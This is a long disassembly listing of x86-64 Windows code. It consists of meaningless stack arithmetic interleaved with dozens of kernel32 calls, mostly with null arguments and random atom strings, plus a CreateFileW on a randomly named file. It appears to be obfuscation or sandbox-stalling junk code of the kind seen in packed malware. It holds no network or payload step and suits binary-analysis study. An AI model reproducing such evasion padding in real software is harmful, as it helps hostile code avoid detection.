mov qword [rsp + 0xc088], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xa3d0]
mov rcx, qword [0x1401c8aa0]
mov qword [rsp + 0xd938], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd938]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb0d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc420]
mov rcx, qword [rsp + 0xc2e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xc948]
movzx eax, word [rax]
mov rcx, qword [0x1401c8bd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f14], ax
mov rcx, qword [rsp + 0xd3c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x3aa]
mov qword [rsp + 0xd940], rax
lea rcx, str.GCKjb_3DYmBTU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2260], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd948], rax
mov eax, dword [rsp + 0x669c]
mov ecx, dword [rsp + 0x6700]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6674], eax
movsx eax, byte [rsp + 0x377]
movsx ecx, byte [0x1401c8a27]
and eax, ecx
mov rcx, qword [rsp + 0xd090]
mov byte [rcx], al
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x59f4]
imul ecx, dword [rax]
mov eax, ecx
mov dword [0x1401c715c], eax
mov rax, qword [rsp + 0xc9f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e54], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6324], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov edx, 0x1b86
mov rcx, qword [rsp + 0xd688]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x653c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movsx eax, word [rsp + 0x1848]
mov rcx, qword [rsp + 0xd3e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa10], ax
movzx eax, word [rsp + 0x2188]
movzx ecx, word [0x1401c70e0]
sar eax, cl
mov word [rsp + 0x21cc], ax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [rsp + 0xcc38]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd858], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xcea0]
movzx eax, byte [rax]
mov byte [rsp + 0x3d9], al
mov rax, qword [rsp + 0xd128]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1c0]
shl rax, cl
mov qword [rsp + 0x9900], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
mov dword [rsp + 0x67ec], eax
lea rcx, str.adU_TCcJ_aTTx377_UXX9Gpa
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x243c], ax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2138]
sub eax, ecx
mov word [rsp + 0x2198], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8ab4], ax
mov rax, qword [rsp + 0xd648]
mov rcx, qword [rsp + 0x94b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc738]
mov qword [rcx], rax
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xcee0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1244]
mov rcx, qword [rsp + 0xcbb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1260], ax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov ecx, dword [0x1401c8a1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x65b0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67f0], eax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov byte [rsp + 0x3da], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66cc], eax
mov eax, dword [0x1401c8c60]
mov ecx, dword [rsp + 0x6554]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x66ac], eax
movzx ecx, word [rsp + 0x2244]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2260], ax
mov rax, qword [rsp + 0xca40]
mov rcx, qword [rsp + 0xd8b8]
mov qword [rsp + 0xd958], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd958]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb9a0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0xc9d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f]
xor eax, ecx
mov byte [rsp + 0x3d9], al
movsx eax, word [0x1401c7050]
mov rcx, qword [rsp + 0xc6b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x158c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd960], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
movzx eax, word [rsp + 0x21c4]
mov word [0x1401c8d24], ax
mov rax, qword [rsp + 0xd400]
mov rax, qword [rax]
mov qword [rsp + 0xd968], rax
mov rax, qword [rsp + 0xce80]
mov rcx, qword [rsp + 0xc6b8]
mov qword [rsp + 0xd970], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd970]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa4a8], rax
mov rax, qword [rsp + 0xd5e0]
movzx eax, word [rax]
mov word [rsp + 0x2440], ax
mov rax, qword [rsp + 0xd580]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd760]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
mov eax, dword [0x1401c8a18]
movzx ecx, al
mov eax, dword [rsp + 0x66b0]
shl eax, cl
mov dword [rsp + 0x58b8], eax
movzx ecx, word [rsp + 0x2084]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2444], ax
lea rcx, [rsp + 0x203f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0xc9e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x67f4], eax
lea rax, [rsp + 0x3ab]
mov qword [rsp + 0xd978], rax
mov rcx, qword [rsp + 0xca50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc488]
mov rcx, qword [rsp + 0xd6b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7f8], rax
movzx ecx, word [rsp + 0x2078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f98], ax
mov edx, 0x1d8b
mov rcx, qword [rsp + 0xd318]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x67f8], eax
lea rax, [0x1401c8ae8]
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401c7178], ax
lea rcx, str.sUj_XPnq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23b4], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2178]
sub eax, ecx
mov word [rsp + 0x2188], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc848]
mov ecx, dword [rsp + 0x6470]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcc60]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xd3c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6408], eax
movzx eax, byte [rsp + 0x396]
movzx ecx, byte [rsp + 0x334]
add eax, ecx
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0xd268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9af8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd980]
mov qword [rcx], rax
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x5e18]
mov dword [rsp + 0x67fc], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6800], eax
mov rax, qword [rsp + 0xd608]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcce8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx ecx, word [rsp + 0x1ffc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ffc], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x64e0], eax
mov rax, qword [rsp + 0xd618]
mov rcx, qword [0x1401c8c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb218], rax
lea rcx, str.LR4sTJSE_JOr1ObW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2448], ax
movsx eax, word [rsp + 0x2194]
movsx ecx, word [rsp + 0x138c]
and eax, ecx
mov word [rsp + 0x20bc], ax
mov rax, qword [rsp + 0xd760]
movzx eax, word [rax]
mov rcx, qword [0x1401c8d08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c7040], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x63b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x668c], eax
movzx ecx, word [rsp + 0x232c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x244c], ax
mov rax, qword [rsp + 0xce80]
mov rcx, qword [rsp + 0xc3a0]
mov qword [rsp + 0xd988], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd988]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc738]
mov qword [rcx], rax
movzx eax, word [rsp + 0x195c]
mov word [rsp + 0x2450], ax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf58]
or eax, ecx
mov word [rsp + 0x2130], ax
mov rax, qword [rsp + 0xd2e8]
movzx ecx, al
mov rax, qword [rsp + 0xc500]
sar rax, cl
mov qword [rsp + 0xa378], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6488], eax
movsx eax, byte [rsp + 0x13e]
mov rcx, qword [rsp + 0xd8d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3ac], al
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xd778]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc548], rax
mov rcx, qword [rsp + 0xd028]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67a8], eax
mov rax, qword [rsp + 0xd598]
mov eax, dword [rax]
mov dword [rsp + 0x6804], eax
mov edx, 0x4b4
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6808], eax
movzx ecx, word [rsp + 0x23fc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f88], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0xd2d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x195c]
shl eax, cl
mov word [rsp + 0xfc8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xb7b8]
mov rcx, qword [rsp + 0xd3f0]
mov qword [rsp + 0xd990], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd990]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c7018], rax
lea rcx, [0x1401ad58c]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2454], ax
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x3db], al
mov rax, qword [rsp + 0xc8c8]
mov ecx, dword [rsp + 0x57b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6518], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6750], eax
movsx eax, word [0x1401c8d14]
movsx ecx, word [rsp + 0x158c]
sub eax, ecx
mov word [rsp + 0x1f7c], ax
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0xd998], rax
lea rcx, [rsp + 0x1d430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rcx, [rsp + 0x20488]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xd040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6670]
mov ecx, dword [rsp + 0x65d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc520]
mov dword [rcx], eax
xor edx, edx
mov rax, qword [rsp + 0xcc40]
div qword [rsp + 0xd510]
mov qword [rsp + 0xa330], rax
movsx eax, byte [rsp + 0x3cf]
movsx ecx, byte [rsp + 0x3bf]
xor eax, ecx
mov rcx, qword [rsp + 0xd8d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14bc]
and eax, ecx
mov word [rsp + 0x178c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rcx, [rsp + 0x1d728]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x22cc]
mov word [0x1401c8d28], ax
mov r9d, 2
lea r8, [rsp + 0xcb80]
mov rdx, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x680c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov r9d, 1
lea r8, [rsp + 0xd420]
mov rdx, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xcb08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67a0], eax
movzx ecx, word [rsp + 0x2248]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x210c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov qword [rsp + 0xd9a8], rax
mov rax, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0xc990]
mov qword [rsp + 0xd9b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xd910]
movzx ecx, al
mov rax, qword [rsp + 0xce28]
sar rax, cl
mov qword [rsp + 0xac70], rax
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov word [rcx], ax
mov edx, 0x20c0
mov rcx, qword [rsp + 0xcec8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6810], eax
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov qword [rsp + 0xd9b8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xce20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5660]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x3d9]
imul eax, eax, 0x27
mov byte [rsp + 0x2c5], al
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x3dc], al
mov r9d, 1
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xd9c0]
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6704], eax
mov rax, qword [rsp + 0xd8f8]
mov rcx, qword [rsp + 0xd3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x606c], eax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6718], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
movzx eax, word [rsp + 0x2290]
mov word [0x1401c8d2c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd9c8], rax
mov rax, qword [0x1401c8ad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f8c]
sub eax, ecx
mov word [rsp + 0x1a24], ax
mov r9d, 0x4bd
xor r8d, r8d
lea rdx, [rsp + 0xcd30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6528], eax
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2388], ax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce68]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e5c], ax
mov rax, qword [0x1401c8a60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc420]
sar rax, cl
mov qword [rsp + 0xb2e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.AxJEE_v8ZBJQ9geItCMdYr1AVayV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd9d0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6774], eax
mov rax, qword [rsp + 0xcce8]
movzx eax, byte [rax]
mov byte [rsp + 0x3dd], al
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x670c]
movzx ecx, al
mov eax, dword [rsp + 0x6728]
shl eax, cl
mov rcx, qword [rsp + 0xce20]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xca20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x99a8], rax
movsx eax, word [rsp + 0x2118]
mov rcx, qword [rsp + 0xd8e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
movzx eax, word [rsp + 0x21f4]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2008], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd9d8], rax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xd738]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c8b20], rax
mov rax, qword [rsp + 0xd2d0]
movzx eax, word [rax]
mov word [rsp + 0x2458], ax
mov rax, qword [rsp + 0xbc18]
mov rcx, qword [rsp + 0xc778]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x94c8], rax
movzx ecx, word [rsp + 0x2244]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2220], ax
mov rax, qword [rsp + 0xab38]
mov qword [rsp + 0xd9e0], rax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x56f4]
shl eax, cl
mov dword [rsp + 0x6554], eax
mov rcx, qword [rsp + 0xc4c0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcee8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c8a12]
sar eax, cl
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xd650]
mov rcx, qword [rsp + 0xcd70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5a8c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movzx eax, byte [rsp + 0x395]
mov rcx, qword [rsp + 0xd940]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3cd], al
lea rax, [0x1401c7020]
mov qword [rsp + 0xd9e8], rax
movsx eax, word [rsp + 0x1578]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8d20], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1578], ax
movzx eax, word [rsp + 0x1eb0]
mov word [rsp + 0x245c], ax
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2410], ax
mov rcx, qword [rsp + 0xcd58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6764]
mov ecx, dword [rsp + 0x64f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5db4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3b5]
sar eax, cl
mov byte [rsp + 0xf2], al
mov rax, qword [rsp + 0xcf18]
mov rcx, qword [rsp + 0xa270]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc350]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2150]
mov qword [rsp + 0xd9f0], rax
movzx eax, word [rsp + 0x2114]
mov rcx, qword [rsp + 0xc7b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2234], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xd488]
mov rcx, qword [rsp + 0xc878]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c7180], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6814], eax
mov rax, qword [rsp + 0xd400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7b8], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6578], eax
mov rax, qword [rsp + 0xd738]
mov rax, qword [rax]
mov qword [rsp + 0xd9f8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd708], rax
mov rax, qword [rsp + 0xd7b8]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa7d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd788]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22a4]
shl eax, cl
mov word [rsp + 0xd38], ax
mov rcx, qword [rsp + 0xc798]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd430]
mov ecx, dword [rsp + 0x606c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6200], eax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
sar eax, cl
mov byte [rsp + 0x3a9], al
mov r9d, 2
lea r8, [rsp + 0xd160]
mov rdx, qword [rsp + 0xda00]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6758], eax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1d4a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0x26530]
mov rcx, qword [rsp + 0xd588]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x67b8], eax
lea rax, [rsp + 0x152]
mov qword [rsp + 0xda08], rax
mov rax, qword [rsp + 0xd498]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd418]
mov qword [rcx], rax
